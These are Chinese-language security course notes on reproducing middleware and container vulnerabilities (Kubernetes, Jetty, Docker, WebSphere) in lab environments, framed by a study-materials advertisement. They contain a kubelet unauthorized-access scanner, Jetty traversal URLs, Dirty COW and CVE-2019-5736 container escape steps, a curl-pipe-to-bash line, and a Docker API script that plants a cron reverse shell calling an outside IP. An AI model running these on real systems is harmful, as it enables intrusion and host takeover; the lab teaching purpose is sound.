【小迪安全2023】第61天 服务攻防-中间件安全&;CVE复现&;K8s&;Docker&;uetty&;Websphere
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料,也有适合3
目录
(1)CVE-2016-5195 DirtyCow内核提权漏洞(脏牛提权)
0x1 大纲
0x2 知识点
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
- 中间件-K8s安全
- 中间件-Jetty安全
- 中间件-Docker安全
- 中间件-WebSphere安全
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
#前置知识:
中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
#应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
0x3 案例演示
1、中间件-K8s-搜哈
k8s简介:
kubernetes简称 k8s,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
k8s参考文章:
k8s对外攻击面总结_kubernetes dashboard漏洞-CSDN博客
利用FOFA检索"kubernetes" && port="10250"关键字找到k8s相关漏洞
k8s未授权访问漏洞,python脚本如下:
import requests
for url in open('urls.txt'):
url=url.strip()+'/pods'
print(url)
try:
result=requests.get(url,verify=False).txt
if 'Unauthorized' not in result:
print('+|'+url)
except Exception as e:
pass
2、中间件-Jetty-搜哈
Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。 访问路径来获取文件内容,同一个漏洞,知识修复后再次被利用。 环境:Vulfocus 漏洞威胁分析平台
CVE-2021-28164
http://123.58.236.76:63126/%2e/WEB-INF/web.xml
CVE-2021-28169
http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429
http://123.58.236.76:63126/%u002e/WEB-INF/web.xml
3、中间件-Docker-搜哈
docker简介:
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
简单来说,就相当于码头上的一个个集装箱,每个箱子之间互不影响并且开箱即用,不需要在docker内额外配置环境。
权限对比:
1.docker启动的web Nginx环境 在真机上找不到相对应的目录,相当于虚拟机。
2.常规Nginx启动的web环境
和正常的环境的目录,文件等各自一致,真实存在的。权限也是一样的。
启动docker搭建的Nginx环境:
cd vulhub-master/nginx/nginx_parsing_vulnerability/
docker-compose up -d
线上环境:Vulfocus 漏洞威胁分析平台
4、容器判断
-是否存在.dockerenv文件
ls -alh /.dockerenv
-查询系统进程的cgroup信息:
cat /proc/1/cgroup
真实机执行命令
5、容器逃逸漏洞
权限提升,逃逸的可能性,引起漏洞成因:
1.由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
2.由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
3.由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式
-CVE-2016-5195
https://github.com/gebl/dirtycow-docker-vdso
https://www.ichunqiu.com/experiment/catalog?id=100295
# 使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
# 其中 test:为临时名称,可以自定义填写。 -p: 第一个端口为本机的端口,第二个端口为Docker的端口。 -itd:意思是在后台运行,交互式运行,并且输出当前的信息 /bin/bash:调用Shell
1.启动docker
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash
2.进入镜像内部
docker exec -it test /bin/bash
3.编译并运行POC
cd /dirtycow-vdso/
make
./0xdeadbeef
查看镜像:docker images
在docker中创建文件,不会影响真机上的文件。如果进行了docker逃逸,那就会影响到真机的文件。
(1)CVE-2016-5195 DirtyCow内核提权漏洞(脏牛提权)
在4.8.3之前的Linux内核2.x到4.x中mm/gup.c中的竞争条件允许本地用户通过利用对写时拷贝(COW)功能的错误处理来写入只读内存映射来获得特权,这在2016年10月被广泛利用,也称为“脏牛”漏洞。
Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复
参考文章:
下面这个是vulnhub靶场,这个靶场就是存在内核提权漏洞,可以使用脏牛进行提权操作:
i春秋靶场:
github上的靶场环境,但是需要进行编译
GitHub - gebl/dirtycow-docker-vdso
(2)CVE-2019-5736
-CVE-2019-5736
参考:https://blog.51cto.com/u_15060465/4336524
复现:curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
1、下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、修改编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) 并执行
docker cp main ecca872da49d:/home
docker exec -it ecca872da49d bash
cd /home/
chmod 777 main
./main
4、再次进入docker镜像后监听即可收到
docker exec -it 镜像ID bash
nc -lvvp
6、容器安全漏洞
docker未授权访问漏洞-vulhub-exp.py
可以直接用脚本去跑,那就可以得到权限
语法:"docker" && port="2375"
启动环境:
cd /vulhub-master/docker/unauthorized-rce
sudo docker-compose up -d
python脚本:
import docker
client = docker.DockerClient(base_url='http://192.168.233.128:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 175.178.151.29 5566 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
安装docker:G:\python38\Scripts\pip.exe install docker
执行:G:\python38\python.exe docker-api.py
7、中间件-WebSphere-搜哈
WebSphere简介:
WebSphere Application Server加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选择,以便更好地协调项目需求与编程模型功能和开发人员技能。端口:9080-web(http)应用访问端口、9443-web(https)应用访问端口、9060-管理后台访问端口、9043-管理控制台安全端口、8880-SOAP连接器端口等等。漏洞探测在8880端口,后台是9060端口,解析是9080端口。
使用docker搭建环境(镜像非常大,下载会比较慢,下载过程中须保持网络通畅)
拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
停止镜像:docker stop $(docker ps -aq)
(1)CVE-2015-7450 反序列化漏洞
简介:
由于使用Java InvokerTransformer类对数据进行反序列化,Apache Commons Collections可能允许远程攻击者在系统上执行任意代码。通过发送特制数据,攻击者可以利用此漏洞在系统上执行任意Java代码。
影响版本:
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2
WebSphere的反序列化漏洞默认配置发生在通信端口8880,默认发送的数据为XML格式。
访问8880端口,如果存在以下界面,则可能存在漏洞。
工具搜哈:
用到集成化工具:java反序列化终极检测工具
搜索语法:"websphere" && server=="WebSphere Application Server/6.1"
自动化工具下载:
Release Java反序列化漏洞利用工具V1.7 20190828 · shack2/javaserializetools · GitHub
- EXP如下:
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
[外链图片转存中…(img-eYfbXvFD-1715567061036)]
[外链图片转存中…(img-YiQwBADX-1715567061036)]
[外链图片转存中…(img-idUMvuei-1715567061037)]
[外链图片转存中…(img-4HU0Zx47-1715567061037)]
[外链图片转存中…(img-3Nkg1Tjl-1715567061037)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
更多推荐
所有评论(0)